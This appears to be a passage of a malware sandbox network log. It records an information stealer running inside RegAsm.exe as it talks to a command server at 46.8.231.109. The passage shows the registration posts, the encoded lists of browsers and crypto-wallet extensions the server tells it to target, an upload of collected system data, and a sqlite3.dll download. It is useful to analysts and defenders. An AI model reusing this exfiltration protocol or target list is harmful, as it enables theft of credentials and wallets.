Sep 21, 2024 13:34:16.100346088 CEST	1236	IN	Data Raw: ad da ba ab 54 36 0e 00 19 27 00 00 0a a3 95 84 0e 39 6a b2 8e 47 f7 b6 17 31 3b 96 2c d0 5b f1 f9 0d 69 2d ed d3 f9 4d 50 5b 73 33 f9 79 e8 6b 35 7b f3 27 6c 95 84 a3 6c 42 0f 95 c4 6e c9 8e a7 c8 d9 a1 6c 02 c2 af 96 e0 b0 fd ff d9 8e c7 07 96 Data Ascii: T6'9jG1;,[i-MP[s3yk5{'llBnlFU$([w;1\|;nr9m(k=+;A"[imm;0(C]_C&P+t<Q+<M8;hqJrLa4?1pFE=v{?Z2*N
Sep 21, 2024 13:34:16.100452900 CEST	1236	IN	Data Raw: 7c 32 02 9b 21 30 33 2b eb f4 f6 86 27 33 bb 83 74 47 ba f8 ca 72 5d 34 1f 1f 30 58 60 9a b1 f4 42 df 51 70 6a 08 d3 a5 48 ba 28 15 99 41 cc 47 de da c9 4a 1b 30 4b e9 ec a8 95 b6 60 b4 31 b5 47 34 42 df c9 2c 5f 1a 32 65 dc 54 b7 0a d3 10 3f ff Data Ascii: \|2!03+'3tGr]40X`BQpjH(AGJ0K`1G4B,_2eT?0K?SKSBQoAB?0K#@Zm`d=:?RevMZ]!`h2Tm`d=:?be\iMZ]B `h2Tl`d*=:?"e\eMZ] `h2P3XdzMZ] `h2oP3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49741	46.8.231.109	80	6524	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:12.387531996 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 21, 2024 13:34:12.945743084 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:13.262964964 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 31 43 45 31 36 43 46 45 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="hwid"C71CE16CFE534228319403------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="build"default------ECFHJKEBAAECBFHIECGI--
Sep 21, 2024 13:34:14.150192976 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 47 46 6b 59 54 52 68 5a 44 64 6a 4f 54 67 35 5a 54 55 35 59 7a 59 7a 59 32 46 6b 4f 47 4d 78 5a 47 55 77 5a 6a 63 79 4e 47 45 78 5a 6d 51 33 59 6d 52 6d 4d 44 64 6b 5a 6d 4d 31 4e 54 41 30 4e 44 55 32 4d 54 46 6c 5a 44 51 30 4d 47 55 31 4d 44 63 35 5a 6a 6c 6b 4e 6a 67 78 59 6d 49 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZGFkYTRhZDdjOTg5ZTU5YzYzY2FkOGMxZGUwZjcyNGExZmQ3YmRmMDdkZmM1NTA0NDU2MTFlZDQ0MGU1MDc5ZjlkNjgxYmIwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 21, 2024 13:34:14.372612953 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="message"browsers------KFHJJDHJEGHJKECBGCFH--
Sep 21, 2024 13:34:14.554877996 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 21, 2024 13:34:14.554914951 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 21, 2024 13:34:14.793608904 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"plugins------BKFBAKFCBFHIJJJJDBFC--
Sep 21, 2024 13:34:14.978161097 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 21, 2024 13:34:14.978317022 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 21, 2024 13:34:14.978333950 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 21, 2024 13:34:14.978928089 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 21, 2024 13:34:14.978945017 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 21, 2024 13:34:14.978962898 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 21, 2024 13:34:14.978976965 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 21, 2024 13:34:15.158870935 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDG Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="message"fplugins------DGCGDBGCAAEBFIECGHDG--
Sep 21, 2024 13:34:15.346508980 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 21, 2024 13:34:15.607573986 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 46.8.231.109 Content-Length: 8583 Connection: Keep-Alive Cache-Control: no-cache
Sep 21, 2024 13:34:15.607651949 CEST	8583	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 21, 2024 13:34:15.867799997 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:16.538206100 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:16.871813059 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 21, 2024 13:34:16.871824980 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
